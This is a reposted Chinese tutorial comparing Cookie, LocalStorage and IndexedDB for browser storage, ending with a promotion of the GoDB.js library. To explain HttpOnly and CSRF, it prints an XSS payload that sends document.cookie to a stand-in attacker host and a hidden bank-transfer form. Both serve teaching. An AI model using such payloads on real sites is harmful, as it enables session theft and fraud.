深入淺出前端本地儲存
(給程序員成長指北加星標,提升前端技能)
轉自:掘金 - 星塵starx
https://juejin.cn/post/6925311938419408904
引言
2021 年,如果你的前端應用,需要在瀏覽器上保存數(shù)據(jù),有三個主流方案:
Cookie Web Storage (LocalStorage) IndexedDB
這些方案就是如今應用最廣、瀏覽器兼容性最高的三種前端儲存方案
今天這篇文章就聊一聊這三種方案的歷史,優(yōu)缺點,以及各自在今天的適用場景
文章在后面還會提出一個全新的,基于 IndexedDB 的,更適合現(xiàn)代前端應用的前端本地儲存方案 GoDB.js
Cookie
Cookie 的歷史
Cookie 早在1994 年就被發(fā)明了出來,它的歷史甚至和互聯(lián)網(wǎng)本身的歷史一樣悠久
和其它兩種本地儲存方案不一樣的是,Cookie 本身并不是為了解決「在瀏覽器上存東西」而被發(fā)明,它的出現(xiàn)是為了解決 HTTP 協(xié)議無狀態(tài)特性的問題
什么是 HTTP 協(xié)議的無狀態(tài)特性?簡單來說就是:用戶的兩次 HTTP 請求,服務端并不能通過請求本身,知道這兩次請求,來自于同一個用戶
比如我們如今司空見慣的登錄功能,在 Cookie 被發(fā)明之前其實幾乎無法實現(xiàn)登錄態(tài)的長久保持
也就是說,Cookie 其實是作為「HTTP 協(xié)議的補充」被發(fā)明出來的,因此,在英文語境中,大多時候其實都用 HTTP cookie 來指 Cookie
Cookie 最初被其發(fā)明者 Lou Montulli 用在電商網(wǎng)站上,用來記錄購物車里的商品,這樣當用戶想要結賬時,瀏覽器會把 Cookie 里的商品數(shù)據(jù)以及用戶信息發(fā)送給服務器,服務器就能知道用戶想要購買哪些商品
Cookie 在很長一段時間內,都是瀏覽器儲存數(shù)據(jù)的唯一解決方案,直到今天,Cookie 在很多領域仍然有大量的使用
Cookie 的今天
2021 年,雖然 Cookie 在部分領域仍有不可替代的價值,但其已經(jīng)不再適合被做為一個前端本地儲存方案去使用:
Cookie 的安全問題 Cookie 在每次請求中都會被發(fā)送,如果不使用 HTTPS 并對其加密,其保存的信息很容易被竊取,導致安全風險 舉個例子,在一些使用 Cookie 保持登錄態(tài)的網(wǎng)站上,如果 Cookie 被竊取,他人很容易利用你的 Cookie 來假扮成你登錄網(wǎng)站 當然可以用 Session 配合 Cookie 來緩解這個問題,但是 Session 會占用額外的服務器資源 Cookie 每次請求自動發(fā)送的特性還會導致 CSRF 攻擊的安全風險 Cookie 只允許儲存 4kb 的數(shù)據(jù) Cookie 的操作較為繁瑣復雜(這一點倒是可以通過使用類庫來解決)
有人說由于瀏覽器每次請求都會帶上 Cookie,因此 Cookie 還有個缺點是會增加帶寬占用,但其實放在今天的網(wǎng)絡環(huán)境來看,這點占用基本可以忽略不計
總之,如今已經(jīng)不推薦使用 Cookie 來在瀏覽器上保存數(shù)據(jù),大部分曾經(jīng)應用 Cookie 的場景,在今天都可以用 LocalStorage 實現(xiàn)更優(yōu)雅更安全的替代
但是,即使 Cookie 已經(jīng)不適合用來在瀏覽器上儲存數(shù)據(jù),其在某些特定領域,在今天仍然獨特的價值
最常見的就是用在廣告中,用來跨站標記用戶與跟蹤用戶行為,這樣在你訪問不同頁面時,廣告商也能知道是同一個用戶在訪問,從而實現(xiàn)后續(xù)的商品推薦等功能
假設 abc.com 和 xyz.com 都內嵌了淘寶的廣告,你會發(fā)現(xiàn)即使 abc.com 和 xyz.com 所有者不一致,兩個網(wǎng)站上淘寶廣告推薦的商品也出奇的一致,這背后是因為淘寶知道是同一個人,分別在 abc.com 和 xyz.com 訪問淘寶的廣告
這是如何實現(xiàn)的呢?答案是第三方 Cookie
第三方 Cookie
之所以有第三方 Cookie 這個稱呼,是因為 Cookie 執(zhí)行同源策略,a.com 和 b.com 各自只能訪問自己的 Cookie,無法訪問對方或者任何不屬于自己的 Cookie
如果在訪問 a.com 時,設置了一個 b.com 的 Cookie(比如內嵌 b.com 的頁面),那么這個 Cookie 相對于 a.com 而言就是第三方 Cookie
值得一提的是,是同一個 host 下的不同端口倒是可以互相訪問 Cookie
這里提一下對第三方 Cookie 而言非常重要的一個特性:Cookie 可以被服務端設置
服務器可以通過 response 的請求頭來要求瀏覽器設置 Cookie
Set-Cookie: userId=123;
瀏覽器在檢測到返回請求的 header 里有 Set-Cookie 請求頭后,就會自動設置 Cookie,不需要開發(fā)者用 JS 去做額外的操作
這樣帶來的好處是,當 abc.com 和 xyz.com 想在自己的網(wǎng)頁上內嵌淘寶廣告時,只需要把淘寶提供的組件放進 HTML 即可,不需要寫額外的 JS,也能讓淘寶進行跨站定位用戶
<img src="taobao.com/some-ads" />
(這個組件純屬虛構,僅為方便理解)
它是如何工作的呢?
當用戶處于 abc.com時,瀏覽器會向taobao.com/some-ads發(fā)起一個 HTTP 請求當淘寶服務器返回廣告內容時,會順帶一個 Set-Cookie的 HTTP 請求頭,告訴瀏覽器設置一個源為taobao.com的 Cookie,里面存上當前用戶的 ID 等信息這個 Cookie 相對于 abc.com而言就是第三方 Cookie,因為它屬于taobao.com而當用戶訪問 xyz.com時,由于xyz.com上也嵌入了淘寶的廣告,因此用戶的瀏覽器也會向taobao.com/some-ads發(fā)起請求有意思的來了,發(fā)請求時,瀏覽器發(fā)現(xiàn)本地已有 taobao.com的 Cookie(此前訪問abc.com時設置的),因此,瀏覽器會將這個 Cookie 發(fā)送過去淘寶服務器根據(jù)發(fā)過來的 Cookie,發(fā)現(xiàn)當前訪問 xyz.com的用戶和之前訪問abc.com的用戶是同一個,因此會返回相同的廣告
廣告商用第三方 Cookie 來跨站定位用戶大概就是這么個過程,實際肯定要復雜許多,但基本原理是一致的
總之,關鍵就是利用了 Cookie 的兩個特點
Cookie 可以被服務器設置 瀏覽器每次請求會自動帶上 Cookie
正因為這兩個特點,即使 Cookie 在今天看來缺點一大堆,但仍然在部分領域有不可替代的價值
但也是因為這兩個特點,導致 Cookie 的安全性相對不高,總之 Cookie 的這個設計放在今天來看,就是一把雙刃劍
Cookie 配置
服務端要求瀏覽器建立 Cookie 時,可以在請求頭里放一些配置聲明,修改 Cookie 的使用特性
SameSite
在前段時間,Chrome 更新 80 版本時,將 Cookie 的跨站策略(SameSite)默認設置為了 Lax,即僅允許同站或者子站訪問 Cookie,而老版本是 None,即允許所有跨站 Cookie
這會導致用戶訪問 xyz.com 時,瀏覽器默認將不會發(fā)送 Cookie 給 taobao.com,導致第三方 Cookie 失效的問題
要解決的話,在返回請求的 header 里將 SameSite 設置為 None 即可
Set-Cookie: userId=123; SameSite=None
Secure, HttpOnly
Cookie 還有兩個常用屬性 Secure 和 HttpOnly
Set-Cookie: userId=123; SameSite=None; Secure; HttpOnly
其中 Secure 是只允許 Cookie 在 HTTPS 請求中被使用
而 HttpOnly 則用來禁止使用 JS 訪問 cookie
ducoment.cookie // 訪問被禁止了
這樣最大的好處是避免了 XSS 攻擊
XSS 攻擊
比如你在水一個論壇,這個論壇有個 bug:不會對發(fā)布內容中的 HTML 標簽進行過濾
某一天,一個惡意用戶發(fā)了個帖子,內容如下:
<script>window.open("atacker.com?cookie=" + document.cookie</script>
當你訪問這條帖子的內容時,瀏覽器就會執(zhí)行 <script> 中的代碼,導致你的 Cookie 被發(fā)送給攻擊者,接著攻擊者就可以利用你的 Cookie 登錄論壇,然后為所欲為了
XSS 攻擊在很多情況下,用戶甚至不會知道自己被攻擊了,比如利用 <img/> 的 src 屬性,就可以做到悄無聲息的把用戶的信息發(fā)給攻擊者
而當設置了 HttpOnly 后,ducoment.cookie 將獲取不到 Cookie,攻擊者的代碼自然就無法生效了
Cookie 總結
總而言之,Cookie 在今天的適用場景其實比較有限,當你需要在本地儲存數(shù)據(jù)時,由于安全性和儲存空間的問題,一般不推薦使用 Cookie,大部分情況下使用 Web Storage 是個更好的選擇
Web Storage
在 2014 年年底發(fā)布的 HTML5 標準中,新增了一個 Web Storage 的本地儲存方案,其包括
LocalStorage SessionStorage
SessionStorage 和 LocalStorage 使用方法基本一致,唯一不同的是,一旦關閉頁面,SessionStorage 將會刪除數(shù)據(jù);因此這里主要以 LocalStorage 為例
LocalStorage 的特點是:
使用 Key-Value 形式儲存 使用很方便 大小有 10MB Key 和 Value 以字符串形式儲存
LocalStorage 的使用非常簡單,比如要在本地保存 userId:
localStorage.setItem('userId', '123');
console.log(localStorage.getItem('userId')); // 123
只要用 setItem 保存過一次,哪怕用戶關閉了頁面,再次打開頁面時都可以用 getItem 獲取到想要的數(shù)據(jù)
LocalStorage 一出現(xiàn),就在許多應用場景徹底替代了 Cookie,大部分需要在瀏覽器上存數(shù)據(jù)的場景,都會優(yōu)先使用 LocalStorage
它和 Cookie 的主要區(qū)別是:
儲存空間更大,使用更方便 Cookie 可以被服務器設置,而 LocalStorage 只能前端手動操作 Cookie 的數(shù)據(jù)會由瀏覽器自動發(fā)給服務器,LocalStorage 需要手動取出來放到請求里面才會發(fā)給服務器,因此可以避免 CSRF 攻擊
CSRF 攻擊
假設你在瀏覽器中登錄過某個銀行 bank.com,這個銀行系統(tǒng)使用 Cookie 來保存你的登錄態(tài)
接著你訪問了一個惡意網(wǎng)站,該網(wǎng)站中有一個表單:
<form action="bank.com/transfer" method="post">
<input type="hidden" name="amount" value="100000.00"/>
<input type="hidden" name="target" value="attacker"/>
<input type="submit" value="屠龍寶刀,點擊就送!"/>
</form>
(假設 bank.com/transfer 是用來轉賬的接口)
當你被誘導點下了提交按鈕后:
由于 form 表單提交是可以跨域的,你將會對
bank.com/transfer發(fā)起一次 POST 請求由于此前你已經(jīng)登錄過
bank.com,瀏覽器會自動將你的 Cookie 一并發(fā)送過去(即使你當前并未處于銀行系統(tǒng)的頁面)bank.com收到你的帶 Cookie 的請求后,認為你是正常登錄了的,導致轉賬成功進行最終你損失了一大筆錢
注意即使用 Cookie 配合 HTTPS 請求,CSRF 攻擊也無法被避免,因為 HTTPS 請求只是對傳輸?shù)臄?shù)據(jù)進行了加密,而 CSRF 攻擊的特點是,誘導你去訪問某個需要你的權限的接口,HTTPS 并不能阻止這種訪問
這里的 CSRF 攻擊的核心,就是利用了瀏覽器會自動在所有請求里帶上 Cookie 的特性
因此,LocalStorage 比較常見的一個替代 Cookie 的場景就是登錄態(tài)的保持,比如用 token 的方法加上 HTTPS 請求,就可以很大程度上提高登錄的安全性,避免被 CSRF 攻擊(但是依然無法完全避免被 XSS 攻擊的風險)
大概工作流程就是,用戶登錄后,從服務器拿到一個 token,然后存進 LocalStorage 里,之后每次請求前都從 LocalStorage 里取出 token,放到請求數(shù)據(jù)里,服務器就能知道是同一個用戶在發(fā)起請求了;由于 HTTPS 的存在,也不用擔心 token 會被泄露給第三方,因此是很安全的
總結為什么 LocalStorage 在大部分應用場景替代了 Cookie:
LocalStorage 更好用,更簡單,儲存空間更多 LocalStorage 免去了 Cookie 遭受 CSRF 攻擊的風險
LocalStorage 的缺點
但是,LocalStorage 也不是完美的,它有兩個缺點:
無法像 Cookie 一樣設置過期時間 只能存入字符串,無法直接存對象
舉個例子,假如你想存一個對象或者非 string 的類型到 LocalStorage:
localStorage.setItem('key', {name: 'value'});
console.log(localStorage.getItem('key')); // '[object, Object]'
localStorage.setItem('key', 1);
console.log(localStorage.getItem('key')); // '1'
你會發(fā)現(xiàn),存進去的如果是對象,拿出來就變成了字符串 '[object, object]',數(shù)據(jù)丟失了!
存進去的如果是 number,拿出來也變成了 string
要解決這個問題,一般是使用 JSON.stringify() 配合 JSON.parse()
localStorage.setItem('key', JSON.stringify({name: 'value'}));
console.log(JSON.parse(localStorage.getItem('key'))); // {name: 'value'}
這樣,就可以實現(xiàn)對象和非 string 類型的儲存了
但是,這么做有一個缺點,那就是 JSON.stringify() 本身是存在一些問題的
const a = JSON.stringify({
a: undefined,
b: function(){},
c: /abc/,
d: new Date()
});
console.log(a) // "{"c":{},"d":"2021-02-02T19:40:12.346Z"}"
console.log(JSON.parse(a)) // {c: {}, d: "2021-02-02T19:40:12.346Z"}
如上,JSON.stringify() 無法正確轉換 JS 的部分屬性
undefiend Function RegExp(正則表達式,轉換后變成了空對象) Date(轉換后變成了字符串,而非 Date 類的對象)
其實還有個 Symbol 也無法被轉換,但由于 Symbol 本身定義(全局唯一性)就決定了,它不應該被轉換,否則即使轉換回來,也不會是原來那個 Symbol
Function 也比較特殊,不過要兼容的話,可以先調用 .toString() 轉換為字符串儲存,需要的時候再 eval 轉回來
以及,JSON.stringify() 無法轉換循環(huán)引用的對象
const a = { key: 'value' };
a['a'] = a;
JSON.stringify(a);
// Uncaught TypeError: Converting circular structure to JSON
// --> starting at object with constructor 'Object'
// --- property 'a' closes the circle
// at JSON.stringify (<anonymous>)
大部分應用中,JSON.stringify() 的這個問題基本上可以忽略,但是一小部分場景還是會導致問題,比如想保存一個正則表達式,一個 Date 對象,這種方法就會出問題
總結
在大部分應用場景下,LocalStorage 已經(jīng)能完全替代 Cookie,只有類似于廣告這種場景,由于 Cookie 可以被服務端設置,Cookie 仍存在不可替代的價值
但是 LocalStorage 并不完美,它只支持 10MB 儲存,在一些應用場景還是不夠用,并且原生只支持字符串,JSON.stringify() 的解決方案又不夠完美,因此很多時候不太適合大量數(shù)據(jù)和復雜數(shù)據(jù)的儲存
IndexedDB
IndexedDB 的全稱是 Indexed Database,從名字中就可以看出,它是一個數(shù)據(jù)庫
IndexedDB 早在 2009 年就有了第一次提案,但其實它和 Web Storage 幾乎是同一時間普及到各大瀏覽器的(沒錯,就是 2015 年那會,es6 也是那時候)
IndexedDB 是一個正經(jīng)的數(shù)據(jù)庫,它在問世后替代了原來不正經(jīng)的 Web SQL 方案,成為了當今唯一運行在瀏覽器里的數(shù)據(jù)庫
在我看來,IndexedDB 其實更適合當作終極前端本地數(shù)據(jù)儲存方案
相比于 LocalStorage,IndexedDB 的優(yōu)點是
儲存量理論上沒有上限 Chrome 對 IndexedDB 儲存空間限制的定義是:硬盤可用空間的三分之一 所有操作都是異步的,相比 LocalStorage 同步操作性能更高,尤其是數(shù)據(jù)量較大時 原生支持儲存 JS 的對象 是個正經(jīng)的數(shù)據(jù)庫,意味著數(shù)據(jù)庫能干的事它都能干
但是缺點也比較致命:
操作非常繁瑣 本身有一定門檻(需要你懂數(shù)據(jù)庫的概念)
由于提案較早,IndexedDB 的 API 設計其實是比較糟糕的,對于新手而言,光是想連上數(shù)據(jù)庫,并往里面加東西,都需要折騰半天
對于簡單的數(shù)據(jù)儲存而言,IndexedDB 的 API 顯得太復雜了,再加上其 API 全是異步的,會帶來額外的心智負擔,遠沒有 LocalStorage 簡單兩行代碼搞定數(shù)據(jù)存取來的快
因此,IndexedDB 在今天的使用規(guī)模相比 LocalStorage 差遠了,即使 IndexedDB 本身的設計其實更適合用來在瀏覽器上儲存數(shù)據(jù)
總之,如果不考慮 IndexedDB 的操作難度,其作為一個前端本地儲存方案其實是接近完美的
簡單理解數(shù)據(jù)庫
在使用 IndexedDB 前,你首先需要懂基本的數(shù)據(jù)庫概念
這里用 Excel 類比,簡單介紹數(shù)據(jù)庫的基本概念,不做太深入的討論
需要了解四個基本概念,以關系型數(shù)據(jù)庫為例
數(shù)據(jù)庫 Database 數(shù)據(jù)表 Table(IndexedDB 中叫 ObjectStore) 字段 Field 事務 Transaction
(雖然 IndexedDB 算不上關系型數(shù)據(jù)庫,但概念都是相通的)
假設清華和北大各自需要建一個數(shù)據(jù)庫,用來存各自學生與教工的信息,假設命名為
清華: thu北大: pku
這樣,清北之間的數(shù)據(jù)就可以相互獨立
然后,我們再到數(shù)據(jù)庫里建表
student表,儲存學生信息stuff表,儲存教工信息
數(shù)據(jù)表(Table)是什么?說白了,就是一個類似于 Excel 表一樣的東西
比如 student 表,可以長這樣:

上面的 學號、姓名、年齡、專業(yè) 就是數(shù)據(jù)表的字段
當我們想往 student 表添加數(shù)據(jù)時,就需要按照規(guī)定的格式,往表里加數(shù)據(jù)(關系型數(shù)據(jù)庫的特點,而 IndexedDB 允許不遵守格式)
數(shù)據(jù)庫也給我們提供了方法,當我們知道一個學生的學號(id),就可以在非常短的時間內,在表里成千上萬個學生中,快速找到這個學生,并返回他的完整信息
也可以根據(jù) id 定位,對該學生的數(shù)據(jù)進行修改,或者刪除
id 這種每條數(shù)據(jù)唯一的值,就可以被用來做主鍵(primary key),主鍵在表內獨一無二,無法添加相同主鍵的數(shù)據(jù)
而主鍵一般會被建立索引,所謂對字段建立索引,就是可以根據(jù)這個字段的值,在表里非??焖俚恼业綄臄?shù)據(jù)(通常不高于 O(logN)),如果沒有索引,那可能就需要遍歷整個表(O(N))
增、刪、改、查這些操作,都需要通過事務 Transaction 來完成
如果事務中任何一個操作沒有成功,整個事務都會回滾 在事務完成之前,操作不會影響數(shù)據(jù)庫 不同事務之間不能互相影響
舉個例子,當你發(fā)起一個事務,想利用這個事務添加兩個學生,如果第一個學生添加成功,但是第二個學生添加失敗,事務就會回滾,第一個學生將根本不會在數(shù)據(jù)庫中出現(xiàn)過
事務在銀行轉賬這種場景非常有用:如果轉賬中任何一步失敗了,整個轉賬操作就和沒發(fā)生過一樣,不會造成任何影響
在同一個 Excel 文件(數(shù)據(jù)庫)中,我們除了 student 表,還可以有 stuff 表(同一個數(shù)據(jù)庫中有了兩個不同的數(shù)據(jù)表):

然后,清華和北大各自分一個 Excel 文件,就相當于分了兩個數(shù)據(jù)庫

總而言之,不扯數(shù)據(jù)庫各種難理解的概念,我們其實完全可以用 Excel 來類比數(shù)據(jù)庫
一個 Excel 文件就是一個 Database 一個 Excel(Database)里可以有很多不同表格(數(shù)據(jù)表 Table) 表格的列的名稱其實就是字段
上述類比最接近 MySQL 這種關系型數(shù)據(jù)庫,但放在其它一些比較特殊的數(shù)據(jù)庫上可能就不太妥當(比如圖數(shù)據(jù)庫)
如果你是新手,用 Excel 類比理解數(shù)據(jù)庫完全沒問題,足以使用 IndexedDB 了
雖然說 IndexedDB 使用 key-value 的模式儲存數(shù)據(jù),但你也完全可以用數(shù)據(jù)表 Table 的模式來看待它
IndexedDB 的使用
使用 IndexedDB 的第一步是打開數(shù)據(jù)庫:
const request = window.indexedDB.open('pku');
上面這個操作打開了名為 pku 的數(shù)據(jù)庫,如果不存在,瀏覽器會自動創(chuàng)建
然后 request 上有三個事件:
var db; // 全局 IndexedDB 數(shù)據(jù)庫實例
request.onupgradeneeded = function (event) {
db = event.target.result;
console.log('version change');
};
request.onsuccess = function (event) {
db = request.result;
console.log('db connected')l;
};
request.onblocked = function (event) {
console.log('db request blocked!')
}
request.onerror = function (event) {
console.log('error!');
};
IndexedDB 有一個版本(version)的概念,連接數(shù)據(jù)庫時就可以指定版本
const version = 1;
const request = window.indexedDB.open('pku', version);
版本主要用來控制數(shù)據(jù)庫的結構,當數(shù)據(jù)庫結構(表結構)發(fā)生變化時,版本也會變化
如上,request 上有四個事件:
onupgradeneeded在版本改變時觸發(fā)注意首次連接數(shù)據(jù)庫時,版本從 0 變成 1,因此也會觸發(fā),且先于 onsuccessonsuccess在連接成功后觸發(fā)onerror在連接失敗時觸發(fā)onblocked在連接被阻止的時候觸發(fā),比如打開版本低于當前存在的版本
注意這四個事件都是異步的,意味著在連接 IndexedDB 的請求發(fā)出去后,需要過一段時間才能連上數(shù)據(jù)庫,并進行操作
開發(fā)者對數(shù)據(jù)庫的所有操作,都得放在異步連上數(shù)據(jù)庫之后,這有的時候會帶來很大的不便
而開發(fā)者如果想創(chuàng)建數(shù)據(jù)表(在 IndexedDB 里面叫做 ObjectStore),只能將其放到 onupgradeneeded 事件中(官方的定義是需要一個 IDBVersionChange 的事件)
request.onupgradeneeded = function (event) {
db = event.target.result;
if (!db.objectStoreNames.contains('student')) {
db.createObjectStore('student', {
keyPath: 'id', // 主鍵
autoIncrement: true // 自增
});
}
}
上面這段代碼,在數(shù)據(jù)庫初始化時,創(chuàng)建了一個 student 的表,并且以 id 為自增主鍵(每加一條數(shù)據(jù),主鍵會自動增長,無需開發(fā)者指定)
在這一切做好以后,終于,我們可以連接數(shù)據(jù)庫,然后添加數(shù)據(jù)了
const adding = db.transaction('student', 'readwrite') // 創(chuàng)建事務
.objectStore('student') // 指定 student 表
.add({ name: 'luke', age: 22 });
adding.onsuccess = function (event) {
console.log('write success');
};
adding.onerror = function (event) {
console.log('write failed');
}
用同樣的方法再加一條數(shù)據(jù)
db.transaction('student', 'readwrite')
.objectStore('student')
.add({ name: 'elaine', age: 23 });
然后,打開瀏覽器的開發(fā)者工具,我們就能看到添加的數(shù)據(jù):
這里可以看到 IndexedDB 的 key-value 儲存特性,key 就是主鍵(這里指定主鍵為 id),value 就是剩下的字段和對應的數(shù)據(jù)
這個 key-value 結構對應的 Table 結構如下:

如果要獲取數(shù)據(jù),需要一個 readonly 的 Transaction
const request = db.transaction('student', 'readonly')
.objectStore(this.name)
.get(2); // 獲取 id 為 2 的數(shù)據(jù)
request.onsuccess = function (event) {
console.log(event.target.result) // { id: 2, name: 'elaine', age: 23 }
}
綜上,哪怕只是想簡單的往 IndexedDB 里增加和查詢數(shù)據(jù),都需要寫一大堆代碼,操作非常繁瑣,一不小心還容易掉坑里
那么,有沒有什么辦法,能更優(yōu)雅的使用 IndexedDB,在代碼量減少的情況下,還能更好的發(fā)揮其實力呢?
GoDB.js
GoDB.js 是一個基于 IndexedDB 實現(xiàn)前端本地儲存的類庫
幫你做到代碼更簡潔的同時,更好的發(fā)揮 IndexedDB 的實力

首先安裝:
npm install godb
對 IndexedDB 的增刪改查,一行代碼就可以搞定!
import GoDB from 'godb';
const testDB = new GoDB('testDB'); // 連接數(shù)據(jù)庫
const user = testDB.table('user'); // 獲取數(shù)據(jù)表
const data = { name: 'luke', age: 22 }; // 隨便定義一個對象
user.add(data) // 增
.then(luke => user.get(luke.id)) // 查
.then(luke => user.put({ ...luke, age: 23 })) // 改
.then(luke => user.delete(luke.id)); // 刪
或者,一次性添加許多數(shù)據(jù),然后看看效果:
const arr = [
{ name: 'luke', age: 22 },
{ name: 'elaine', age: 23 }
];
user.addMany(arr)
.then(() => user.consoleTable());
上面這段代碼,會在添加數(shù)據(jù)后,在控制臺中展示出 user 表的內容:

回到之前 LocalStorage 出問題的那個例子,用 GoDB 就可以實現(xiàn)正常儲存:
import GoDB from 'godb';
const testDB = new GoDB('testDB'); // 連接數(shù)據(jù)庫
const store = testDB.table('store'); // 獲取數(shù)據(jù)表
const obj = {
a: undefined,
b: /abc/,
c: new Date()
};
store.add(obj)
.then(item => store.get(item.id)) // 獲取存進去的實例
.then(res => console.log(res));
// {
// id: 1,
// a: undefined,
// b: /abc/,
// c: new Date()
// }
并且,循環(huán)引用的對象也能使用 GoDB 進行儲存
const a = { key: 'value' };
a['a'] = a;
store.add(a)
.then(item => store.get(item.id)) // 獲取存進去的實例
.then(result => console.log(result));
// 打印出來的對象比 a 多了個 id,其它完全一致
關于 GoDB 更詳細的用法,可以參考 GoDB 的項目官網(wǎng)(不斷完善中):
https://godb-js.github.io/
總之,GoDB 可以
幫你在背后處理好 IndexedDB 各種繁瑣操作 幫你在背后維護好數(shù)據(jù)庫、數(shù)據(jù)表和字段 以及字段的索引,各種屬性(比如 unique)幫你規(guī)范化 IndexedDB 的使用,使你的項目更易維護 最終,開放幾個簡單易用的 API 給你,讓你用簡潔的代碼玩轉 IndexedDB
總結
總結一下三大方案各自的特點以及適用場景:
Cookie 能被服務器指定,瀏覽器會自動在請求中帶上 大小只有 4kb 大規(guī)模應用于廣告商定位用戶 配合 session 也是一個可行的登錄鑒權方案 Web Storage 大小有 10MB,使用極其簡單 但是只能存字符串,需要轉義才能存 JS 對象 大部分情況下能完全替代 Cookie,且更安全 配合 token 可以實現(xiàn)更安全的登錄鑒權 IndexedDB 儲存空間無上限,功能極其強大 原生支持 JS 對象,能更好的儲存數(shù)據(jù) 以數(shù)據(jù)庫的形式儲存數(shù)據(jù),數(shù)據(jù)管理更規(guī)范 但是,原生 API 操作很繁瑣,且有一定使用門檻
我個人是非??春?IndexedDB 的,我認為在前端越來越復雜的未來,在下一個十年各種重前端應用(在線文檔,各種 SaaS 應用),以及 Electron 環(huán)境中,IndexedDB 一定能夠大放光彩
比如緩存接口數(shù)據(jù),實現(xiàn)更好的用戶體驗 比如在線文檔(富文本編輯器)保存編輯歷史 比如任何需要在前端保存大量數(shù)據(jù)的應用
總之,IndexedDB 可以說是最適合用來在前端存數(shù)據(jù)的方案,只不過因為其繁瑣的操作和一定的使用門檻,在目前沒有更簡單的 localStorage 使用范圍那么廣而已
如果你想使用 IndexedDB,推薦試試 GoDB 這個類庫,最大化的降低操作難度
官網(wǎng)(持續(xù)完善):https://godb-js.github.io/
GitHub:https://github.com/chenstarx/GoDB.js
??愛心三連擊 1.看到這里了就點個在看支持下吧,你的「點贊,在看」是我創(chuàng)作的動力。
2.關注公眾號
程序員成長指北,回復「1」加入高級前端交流群!「在這里有好多 前端 開發(fā)者,會討論 前端 Node 知識,互相學習」!3.也可添加微信【ikoala520】,一起成長。
“在看轉發(fā)”是最大的支持
